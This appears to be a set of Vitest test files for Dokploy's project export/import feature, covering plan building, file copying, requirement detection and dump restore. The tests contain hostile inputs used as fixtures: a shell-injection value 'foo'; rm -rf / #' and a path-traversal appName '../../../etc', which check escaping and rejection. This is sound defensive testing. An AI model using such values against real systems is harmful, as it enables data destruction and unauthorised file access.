expect(plan.conflictResolutions?.["projectName:my-project"]).toEqual({
action: "rename",
value: "my-project (imported)",
});
});
it("flags a network conflict only when the requirement's resolution is 'create'", async () => {
const plan = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.resolutions[requirementKey(networkRequirement)]?.action).toBe(
"create",
);
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "network", value: "shared-net" }),
);
});
it("flags a port conflict on the destination server the service resolves to", async () => {
const plan = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
resolutions: {
[requirementKey(serverRequirement)]: {
requirementKey: requirementKey(serverRequirement),
action: "reuse",
targetId: "server-dest-1",
},
},
},
);
expect(plan.serverMap["server-src-1"]).toBe("server-dest-1");
expect(plan.conflicts).toContainEqual(
expect.objectContaining({ kind: "port", value: "8080" }),
);
});
it("regenerates app names by default, and keeps the original when keepAppNames is set and available", async () => {
const regenerated = await buildPlan(fakeDb(), snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(regenerated.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
const kept = await buildPlan(
fakeDb(),
snapshot,
"org-dest",
{ kind: "newProject", name: "my-project" },
{
keepAppNames: true,
checkAppNameAvailable: async () => true,
},
);
expect(kept.appNameMap["my-app-abc123"]).toBe("my-app-abc123");
});
it("retries appName generation against the DB on a simulated collision", async () => {
let findFirstCalls = 0;
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => {
findFirstCalls += 1;
return findFirstCalls <= 2
? { applicationId: "app-taken", appName: "whatever" }
: undefined;
},
},
},
} as any as TransferDb;
const plan = await buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(findFirstCalls).toBeGreaterThanOrEqual(3);
expect(plan.appNameMap["my-app-abc123"]).toBeDefined();
expect(plan.appNameMap["my-app-abc123"]).not.toBe("my-app-abc123");
});
it("gives up after MAX_APP_NAME_RETRIES consecutive collisions instead of looping forever", async () => {
const db = {
...fakeDb(),
query: {
...(fakeDb() as any).query,
applications: {
findFirst: async () => ({
applicationId: "app-taken",
appName: "whatever",
}),
},
},
} as any as TransferDb;
await expect(
buildPlan(db, snapshot, "org-dest", {
kind: "newProject",
name: "my-project",
}),
).rejects.toThrow(/unique appName/i);
});
it("excludes redis from the dump count summary (it has no dump support)", async () => {
const dumpSnapshot: Snapshot = {
...snapshot,
manifest: {
...snapshot.manifest,
scope: {
...snapshot.manifest.scope,
dumps: { mode: "embed" },
},
},
resources: {
...snapshot.resources,
services: [
applicationService,
{
kind: "postgres",
postgresId: "pg-1",
name: "my-db",
appName: "my-db-abc123",
environmentId: "env-1",
},
{
kind: "redis",
redisId: "redis-1",
name: "my-cache",
appName: "my-cache-abc123",
environmentId: "env-1",
},
],
},
requirements: [],
};
const plan = await buildPlan(fakeDb(), dumpSnapshot, "org-dest", {
kind: "newProject",
name: "my-project",
});
expect(plan.summary.dumps).toBe(1);
});
});
@@ -0,0 +1,248 @@
import { existsSync } from "node:fs";
import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
Plan,
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { postApply } from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const local = (path: string) => ({ serverId: null, path });
vi.mock("@dokploy/server/services/mount", () => ({
createFileMount: vi.fn(async () => {}),
}));
const { createFileMount } = await import("@dokploy/server/services/mount");
let root: string;
let workDir: string;
const fakePaths = (_isServer: boolean) => ({
BASE_PATH: root,
MAIN_TRAEFIK_PATH: join(root, "traefik"),
DYNAMIC_TRAEFIK_PATH: join(root, "traefik", "dynamic"),
LOGS_PATH: join(root, "logs"),
APPLICATIONS_PATH: join(root, "applications"),
COMPOSE_PATH: join(root, "compose"),
SSH_PATH: join(root, "ssh"),
CERTIFICATES_PATH: join(root, "traefik", "dynamic", "certificates"),
MONITORING_PATH: join(root, "monitoring"),
REGISTRY_PATH: join(root, "registry"),
SCHEDULES_PATH: join(root, "schedules"),
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
PATCH_REPOS_PATH: join(root, "patch-repos"),
});
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-postapply-root-"));
workDir = await mkdtemp(join(tmpdir(), "transfer-postapply-work-"));
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
await rm(workDir, { recursive: true, force: true });
});
const composeService = {
kind: "compose",
composeId: "compose-1",
appName: "my-compose-abc123",
environmentId: "env-1",
serverId: null,
};
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: {
project: {},
environments: [],
services: [composeService],
shared: {},
},
requirements: [],
warnings: [],
dumps: [],
};
const plan: Plan = {
target: { kind: "newProject", name: "imported" },
resolutions: {},
serverMap: {},
appNameMap: { "my-compose-abc123": "my-compose-xyz789" },
domainStrategy: { custom: "keep" },
portsStrategy: "keep",
rotateDatabaseCredentials: false,
conflicts: [],
pendingServices: [],
warnings: [],
validation: [],
summary: { counts: {}, domains: 0, dumps: 0 },
};
const result: TransferResult = {
idMap: { compose: { "compose-1": "compose-new-1" } },
appNameMap: plan.appNameMap,
pendingRequirements: [],
pendingServices: [],
rotations: [],
restoreErrors: [],
warnings: [],
};
const fakeDb = {
query: {
certificates: { findFirst: async () => undefined },
mounts: { findMany: async () => [] },
},
} as any as TransferDb;
describe("postApply", () => {
it("copies compose files to the new appName, rewriting docker-compose.yml, and reports it as a deploy candidate", async () => {
const sourceDir = join(workDir, "files", "compose", "my-compose-abc123");
await mkdir(sourceDir, { recursive: true });
await writeFile(
join(sourceDir, "docker-compose.yml"),
"services:\n web:\n container_name: my-compose-abc123-web\n",
);
await writeFile(join(sourceDir, ".env"), "APP_NAME=my-compose-abc123\n");
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
plan,
result,
local(workDir),
{
pathsFn: fakePaths as any,
},
);
const destDir = join(root, "compose", "my-compose-xyz789");
expect(existsSync(join(destDir, "docker-compose.yml"))).toBe(true);
const composeContent = await readFile(
join(destDir, "docker-compose.yml"),
"utf8",
);
expect(composeContent).toContain("my-compose-xyz789-web");
expect(composeContent).not.toContain("my-compose-abc123");
const envContent = await readFile(join(destDir, ".env"), "utf8");
expect(envContent).toContain("APP_NAME=my-compose-xyz789");
expect(deployCandidates).toEqual([
{ serviceId: "compose-new-1", serviceType: "compose", serverId: null },
]);
});
it("excludes pending services from deployCandidates", async () => {
const pendingPlan: Plan = {
...plan,
pendingServices: [
{
serviceId: "compose-1",
serviceType: "compose",
reason: "Missing registry",
},
],
};
const { deployCandidates } = await postApply(
fakeDb,
snapshot,
pendingPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
});
});
describe("postApply writes file-type mounts to disk (T-6.6)", () => {
it("calls createFileMount for every file-type mount belonging to a newly created service", async () => {
(createFileMount as any).mockClear();
const dbWithMounts = {
query: {
certificates: { findFirst: async () => undefined },
mounts: {
findMany: async () => [
{
mountId: "mount-file-1",
type: "file",
filePath: "/app/nginx.conf",
},
],
},
},
} as any as TransferDb;
await postApply(dbWithMounts, snapshot, plan, result, local(workDir), {
pathsFn: fakePaths as any,
});
expect(createFileMount).toHaveBeenCalledWith("mount-file-1");
expect(createFileMount).toHaveBeenCalledTimes(1);
});
});
describe("postApply rejects an unsafe appName (T-9.2)", () => {
it("reports a postApplyError instead of joining a path-traversal appName into a local path", async () => {
const maliciousSnapshot: Snapshot = {
...snapshot,
resources: {
...snapshot.resources,
services: [
{
...composeService,
appName: "../../../etc",
},
],
},
};
const maliciousPlan: Plan = { ...plan, appNameMap: {} };
const { deployCandidates, postApplyErrors } = await postApply(
fakeDb,
maliciousSnapshot,
maliciousPlan,
result,
local(workDir),
{ pathsFn: fakePaths as any },
);
expect(deployCandidates).toEqual([]);
expect(postApplyErrors).toHaveLength(1);
expect(postApplyErrors[0]?.error).toContain("Unsafe path in bundle");
});
});
@@ -0,0 +1,189 @@
import { existsSync, readFileSync, writeFileSync } from "node:fs";
import { mkdir, mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import {
copyDir,
copyFile,
escapeShellArg,
exists,
fileSize,
readFile,
remove,
runToFile,
writeFile as writeRemoteFile,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { pipeMock } = vi.hoisted(() => ({ pipeMock: vi.fn() }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
pipeBetweenServers: (
args: Parameters<typeof actual.pipeBetweenServers>[0],
) =>
args.source.serverId || args.target.serverId
? pipeMock(args)
: actual.pipeBetweenServers(args),
};
},
);
const local = (path: string) => ({ serverId: null, path });
describe("escapeShellArg", () => {
it("wraps a plain value in single quotes", () => {
expect(escapeShellArg("app-foo")).toBe("'app-foo'");
});
it("neutralizes an embedded single quote (command injection attempt)", () => {
const malicious = "foo'; rm -rf / #";
expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'");
});
});
describe("local transfers (serverId null on both sides)", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-"));
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copies a directory tree with copyDir, honouring excludes", async () => {
const source = join(base, "source");
await mkdir(join(source, "nested"), { recursive: true });
await mkdir(join(source, "node_modules"), { recursive: true });
await writeFile(join(source, "a.txt"), "hello");
await writeFile(join(source, "nested", "b.txt"), "world");
await writeFile(join(source, "node_modules", "x.js"), "skip me");
const dest = join(base, "dest", "deep");
await copyDir(local(source), local(dest), { exclude: ["node_modules"] });
expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello");
expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world");
expect(existsSync(join(dest, "node_modules"))).toBe(false);
});
it("copies a single file with copyFile, creating the parent directory", async () => {
const source = join(base, "dump.sql");
writeFileSync(source, Buffer.from([0, 1, 2, 255]));
const dest = join(base, "out", "copied-dump.sql");
await copyFile(local(source), local(dest));
expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255]));
});
it("writes from memory and reads back with writeFile/readFile", async () => {
const target = join(base, "nested", "it's.json");
await writeRemoteFile(local(target), '{"a":1}');
expect((await readFile(local(target))).toString()).toBe('{"a":1}');
expect(await exists(local(target))).toBe(true);
expect(await fileSize(local(target))).toBe(7);
});
it("captures a command's stdout into a file with runToFile", async () => {
const target = join(base, "captured.txt");
await runToFile(null, "printf 'abc'", local(target));
expect(readFileSync(target, "utf8")).toBe("abc");
});
it("removes the target when the command fails in runToFile", async () => {
const target = join(base, "partial.txt");
await expect(
runToFile(null, "printf 'abc'; exit 3", local(target)),
).rejects.toThrow();
expect(existsSync(target)).toBe(false);
});
it("remove is a no-op for a missing path and exists reports false", async () => {
const target = join(base, "missing");
await expect(remove(local(target))).resolves.toBeUndefined();
expect(await exists(local(target))).toBe(false);
});
});
describe("transfers between different servers go through pipeBetweenServers", () => {
let base: string;
beforeEach(async () => {
base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-"));
pipeMock.mockReset();
});
afterEach(async () => {
await rm(base, { recursive: true, force: true });
});
it("copyFile removes the local target when the remote side fails", async () => {
const target = join(base, "app-one.yml");
pipeMock.mockImplementation(async () => {
writeFileSync(target, "partial");
throw new Error("source exited with code 1: cat: No such file");
});
await expect(
copyFile(
{
serverId: "server-1",
path: "/etc/dokploy/traefik/dynamic/app-one.yml",
},
local(target),
),
).rejects.toThrow(/exited with code 1: cat: No such file/);
expect(existsSync(target)).toBe(false);
expect(pipeMock.mock.calls[0]?.[0].source).toEqual({
serverId: "server-1",
command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'",
});
});
it("copyDir escapes the paths and the excludes on both ends", async () => {
pipeMock.mockResolvedValue(0);
await copyDir(
{ serverId: "server-1", path: "/remote/dir" },
{ serverId: "server-2", path: "/it's/local" },
{ exclude: [".git", "it's"] },
);
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: {
serverId: "server-1",
command:
"tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .",
},
target: {
serverId: "server-2",
command:
"mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'",
},
});
});
it("runToFile streams a command from one server into a file on another", async () => {
pipeMock.mockResolvedValue(0);
await runToFile("db-server", "pg_dump x | gzip", {
serverId: "build-server",
path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz",
});
expect(pipeMock.mock.calls[0]?.[0]).toEqual({
source: { serverId: "db-server", command: "pg_dump x | gzip" },
target: {
serverId: "build-server",
command:
"mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'",
},
});
});
});
@@ -0,0 +1,362 @@
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import { detectRequirements } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const baseApplication = {
applicationId: "app-1",
name: "app-1",
env: "",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
owner: null,
repository: null,
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
domains: [],
backups: undefined,
volumeBackups: [],
};
const emptyServiceArrays = {
compose: [],
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
};
const buildTree = (application: Record<string, unknown>) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [application],
postgres: [],
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
vaultProvider: { findMany: async () => [] },
destinations: { findMany: async () => [] },
registry: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
...overrides,
},
}) as any as TransferDb;
describe("detectRequirements", () => {
it("detects a vault requirement grouping every secretKey referenced", async () => {
const application = {
...baseApplication,
env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}",
};
const db = fakeDb({
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const vaultReqs = requirements.filter((r) => r.kind === "vault");
expect(vaultReqs).toHaveLength(1);
expect(vaultReqs[0]).toMatchObject({
kind: "vault",
originalId: "vault-1",
providerName: "prod",
providerType: "hashicorp",
});
expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]);
});
it("merges registry + buildRegistry into one requirement with both roles", async () => {
const application = {
...baseApplication,
registryId: "registry-1",
buildRegistryId: "registry-1",
};
const db = fakeDb({
registry: {
findMany: async () => [
{
registryId: "registry-1",
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const registryReqs = requirements.filter((r) => r.kind === "registry");
expect(registryReqs).toHaveLength(1);
expect((registryReqs[0] as any).role.sort()).toEqual([
"buildRegistry",
"registry",
]);
});
it("emits a single server requirement with originalId null for services with no serverId", async () => {
const application = { ...baseApplication, serverId: null };
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.originalId).toBeNull();
expect(serverReqs[0]?.usedBy).toHaveLength(1);
});
it("detects a gitProvider requirement with owner/repo", async () => {
const application = {
...baseApplication,
githubId: "gh-1",
owner: "acme",
repository: "app",
};
const requirements = await detectRequirements(
fakeDb(),
buildTree(application) as any,
baseScope,
);
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect(gitReqs[0]).toMatchObject({
providerType: "github",
originalId: "gh-1",
});
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "app" },
]);
});
it("detects a destination requirement from a backup FK", async () => {
const application = {
...baseApplication,
volumeBackups: [{ destinationId: "dest-1" }],
};
const db = fakeDb({
destinations: {
findMany: async () => [
{
destinationId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const destReqs = requirements.filter((r) => r.kind === "destination");
expect(destReqs).toHaveLength(1);
expect(destReqs[0]).toMatchObject({
originalId: "dest-1",
bucket: "my-bucket",
endpoint: "s3.example.com",
region: "us-east-1",
});
});
it("resolves network names for referenced networkIds", async () => {
const application = { ...baseApplication, networkIds: ["net-1"] };
const db = fakeDb({
network: {
findMany: async () => [{ networkId: "net-1", name: "shared-net" }],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const networkReqs = requirements.filter((r) => r.kind === "network");
expect(networkReqs).toHaveLength(1);
expect(networkReqs[0]).toMatchObject({
originalId: "net-1",
name: "shared-net",
});
});
it("detects an uploaded certificate by the https domains it covers on the same server", async () => {
const application = {
...baseApplication,
serverId: "server-1",
domains: [
{
domainId: "dom-1",
host: "app.example.com",
https: true,
certificateType: "none",
},
{
domainId: "dom-2",
host: "other.example.com",
https: true,
certificateType: "none",
},
],
};
const certificate = {
certificateId: "cert-1",
certificateData:
"-----BEGIN CERTIFICATE-----\n" +
"MIICPjCCAeOgAwIBAgIJAOEJ+5C9HjNZMAoGCCqGSM49BAMCMBoxGDAWBgNVBAMM\n" +
"D2FwcC5leGFtcGxlLmNvbTAeFw0yNjEwMTUyMTQ0NDlaFw0zNjEwMTIyMTQ0NDla\n" +
"MBoxGDAWBgNVBAMMD2FwcC5leGFtcGxlLmNvbTCCAUswggEDBgcqhkjOPQIBMIH3\n" +
"AgEBMCwGByqGSM49AQECIQD/////AAAAAQAAAAAAAAAAAAAAAP//////////////\n" +
"/zBbBCD/////AAAAAQAAAAAAAAAAAAAAAP///////////////AQgWsY12Ko6k+ez\n" +
"671VdpiGvGUdBrDMU7D2O848PifSYEsDFQDEnTYIhucEk2pmeOETnSa3gZ9+kARB\n" +
"BGsX0fLhLEJH+Lzm5WOkQPJ3A32BLeszoPShOUXYmMKWT+NC4v4af5uO5+tKfA+e\n" +
"FivOM1drMV7Oy7ZAaDe/UfUCIQD/////AAAAAP//////////vOb6racXnoTzucrC\n" +
"/GMlUQIBAQNCAASL1XU5x61CV4NiEe+/UmBo6LjNyEpG597XYQ1EPv1QhtboQ1Uo\n" +
"no7Yf/H6T/8elaaCFtgl/sZqxHP4HDLkIFYtox4wHDAaBgNVHREEEzARgg9hcHAu\n" +
"ZXhhbXBsZS5jb20wCgYIKoZIzj0EAwIDSQAwRgIhANb3ATUO9PvG5Ta/5M4ggr11\n" +
"Rb3EoP/+A1AjbYmYEszLAiEA4nxjPPJXLb1zXMeiqz6xyI+8ETyjucTZTkfj4hyV\n" +
"6DM=\n" +
"-----END CERTIFICATE-----\n",
serverId: "server-1",
};
const db = fakeDb({
certificates: {
findMany: async () => [
certificate,
{
...certificate,
certificateId: "cert-other-server",
serverId: null,
},
],
},
});
const requirements = await detectRequirements(
db,
buildTree(application) as any,
baseScope,
);
const certReqs = requirements.filter((r) => r.kind === "certificate");
expect(certReqs).toHaveLength(1);
expect(certReqs[0]?.originalId).toBe("cert-1");
expect(certReqs[0]?.usedBy).toHaveLength(1);
expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/);
expect((certReqs[0] as any).serverId).toBe("server-1");
});
it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => {
const application1 = {
...baseApplication,
applicationId: "app-1",
serverId: "server-1",
};
const application2 = {
...baseApplication,
applicationId: "app-2",
serverId: "server-1",
};
const tree = buildTree(application1) as any;
tree.environments[0].applications.push(application2);
const requirements = await detectRequirements(fakeDb(), tree, baseScope);
const serverReqs = requirements.filter((r) => r.kind === "server");
expect(serverReqs).toHaveLength(1);
expect(serverReqs[0]?.usedBy).toHaveLength(2);
});
it("only scans services actually within scope.serviceIds", async () => {
const included = {
...baseApplication,
applicationId: "app-included",
githubId: "gh-1",
owner: "acme",
repository: "included-repo",
};
const excluded = {
...baseApplication,
applicationId: "app-excluded",
githubId: "gh-1",
owner: "acme",
repository: "excluded-repo",
};
const tree = buildTree(included) as any;
tree.environments[0].applications.push(excluded);
const requirements = await detectRequirements(fakeDb(), tree, {
...baseScope,
serviceIds: ["app-included"],
});
const gitReqs = requirements.filter((r) => r.kind === "gitProvider");
expect(gitReqs).toHaveLength(1);
expect((gitReqs[0] as any).repositories).toEqual([
{ owner: "acme", repo: "included-repo" },
]);
});
});
@@ -0,0 +1,285 @@
import { createHash } from "node:crypto";
import type {
Requirement,
Snapshot,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
LOCAL_SERVER_CANDIDATE_ID,
proposeResolutions,
requirementKey,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const CERT_FINGERPRINT = createHash("sha256")
.update("cert-data-1")
.digest("hex");
const vaultRequirement: Requirement = {
kind: "vault",
originalId: "vault-src",
configIncluded: false,
usedBy: [],
providerName: "prod",
providerType: "hashicorp",
secretKeys: [],
};
const gitProviderRequirement: Requirement = {
kind: "gitProvider",
originalId: "gh-src",
configIncluded: false,
usedBy: [],
providerType: "github",
repositories: [],
};
const destinationRequirement: Requirement = {
kind: "destination",
originalId: "dest-src",
configIncluded: true,
usedBy: [],
bucket: "my-bucket",
endpoint: "https://s3.example.com",
region: "us-east-1",
};
const registryRequirement: Requirement = {
kind: "registry",
originalId: "reg-src",
configIncluded: true,
usedBy: [],
registryUrl: "https://registry.example.com",
imagePrefix: "acme",
role: ["registry"],
};
const sshKeyRequirement: Requirement = {
kind: "sshKey",
originalId: "key-src",
configIncluded: true,
usedBy: [],
publicKey: "ssh-ed25519 AAAAtest",
};
const networkRequirement: Requirement = {
kind: "network",
originalId: "net-src",
configIncluded: false,
usedBy: [],
name: "my-network",
};
const certificateRequirement: Requirement = {
kind: "certificate",
originalId: "cert-src",
configIncluded: false,
usedBy: [],
fingerprint: CERT_FINGERPRINT,
serverId: null,
};
const serverRequirement: Requirement = {
kind: "server",
originalId: "server-src",
configIncluded: false,
usedBy: [],
};
const requirements: Requirement[] = [
vaultRequirement,
gitProviderRequirement,
destinationRequirement,
registryRequirement,
sshKeyRequirement,
networkRequirement,
certificateRequirement,
serverRequirement,
];
const snapshot: Snapshot = {
manifest: {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: "2024-01-01T00:00:00.000Z",
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "{}",
},
counts: {},
},
resources: { project: {}, environments: [], services: [], shared: {} },
requirements,
warnings: [],
dumps: [],
};
const fakeDb = (): TransferDb =>
({
query: {
vaultProvider: {
findMany: async () => [
{
vaultProviderId: "vault-dest-1",
name: "prod",
providerType: "hashicorp",
organizationId: "org-dest",
},
],
},
gitProvider: {
findMany: async () => [
{
gitProviderId: "gh-dest-1",
name: "Acme GitHub",
providerType: "github",
organizationId: "org-dest",
},
],
},
destinations: { findMany: async () => [] },
registry: {
findMany: async () => [
{
registryId: "reg-dest-1",
registryName: "Acme Registry",
registryUrl: "https://other.example.com",
imagePrefix: "other",
organizationId: "org-dest",
},
],
},
sshKeys: {
findMany: async () => [
{
sshKeyId: "key-dest-1",
name: "deploy key",
publicKey: "ssh-ed25519 AAAAtest",
organizationId: "org-dest",
},
],
},
network: {
findMany: async () => [
{
networkId: "net-dest-1",
name: "other-network",
organizationId: "org-dest",
},
],
},
certificates: { findMany: async () => [] },
server: {
findMany: async () => [
{
serverId: "server-dest-1",
name: "prod-server",
organizationId: "org-dest",
},
],
},
},
}) as any as TransferDb;
describe("proposeResolutions", () => {
it("resolves vault by name + providerType match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(vaultRequirement)]).toEqual({
status: "resolved",
targetId: "vault-dest-1",
});
});
it("never auto-resolves gitProvider, always mappable/missing by type", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(gitProviderRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }],
});
});
it("proposes createable for destination when configIncluded and no match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(destinationRequirement)]).toEqual({
status: "createable",
candidates: [],
});
});
it("proposes createable for registry with existing-org candidates attached when no exact match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(registryRequirement)]).toEqual({
status: "createable",
candidates: [{ id: "reg-dest-1", name: "Acme Registry" }],
});
});
it("resolves sshKey by exact publicKey match", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(sshKeyRequirement)]).toEqual({
status: "resolved",
targetId: "key-dest-1",
});
});
it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(networkRequirement)]).toEqual({
status: "mappable",
candidates: [{ id: "net-dest-1", name: "other-network" }],
});
});
it("resolves certificate by recomputed fingerprint match", async () => {
const withMatchingCert: TransferDb = {
query: {
...(fakeDb() as any).query,
certificates: {
findMany: async () => [
{
certificateId: "cert-dest-1",
name: "prod cert",
certificateData: "cert-data-1",
organizationId: "org-dest",
},
],
},
},
} as any;
const result = await proposeResolutions(
withMatchingCert,
snapshot,
"org-dest",
);
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "resolved",
targetId: "cert-dest-1",
});
});
it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(certificateRequirement)]).toEqual({
status: "missing",
});
});
it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => {
const result = await proposeResolutions(fakeDb(), snapshot, "org-dest");
expect(result[requirementKey(serverRequirement)]).toEqual({
status: "mappable",
candidates: [
{ id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" },
{ id: "server-dest-1", name: "prod-server" },
],
});
});
});
@@ -0,0 +1,368 @@
import type {
Snapshot,
TransferDb,
TransferResult,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it, vi } from "vitest";
const { failRestoreBox } = vi.hoisted(() => ({
failRestoreBox: { value: false },
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsync: vi.fn(async (command: string) => {
if (command.includes("pg_restore") && failRestoreBox.value) {
throw new Error("restore failed");
}
return { stdout: "", stderr: "" };
}),
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/services/project-export-import/remote-fs",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import/remote-fs")
>();
return {
...actual,
copyFile: vi.fn(async () => {}),
remove: vi.fn(async () => {}),
};
},
);
const {
restoreDumps,
buildRestoreCommand,
buildWaitReadyScript,
buildReadyProbe,
waitUntilReady,
} = await import("@dokploy/server/services/project-export-import");
const { remove, copyFile } = await import(
"@dokploy/server/services/project-export-import/remote-fs"
);
describe("buildRestoreCommand", () => {
it("pipes decompressed bytes into the restore command for postgres", () => {
const command = buildRestoreCommand(
"postgres",
{
appName: "my-db-abc123",
databaseName: "mydb",
databaseUser: "dokploy",
},
"/tmp/dokploy-import-restore-pg-1.sql.gz",
);
expect(command).toContain(
"gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'",
);
expect(command).toContain("pg_restore");
expect(command).toContain("my-db-abc123");
});
it("uses the mysql root password, not databasePassword, for the restore command", () => {
const command = buildRestoreCommand(
"mysql",
{
appName: "my-mysql-abc123",
databaseName: "mydb",
databasePassword: "not-the-root-password",
databaseRootPassword: "the-real-root-password",
},
"/tmp/dokploy-import-restore-mysql-1.sql.gz",
);
expect(command).toContain("the-real-root-password");
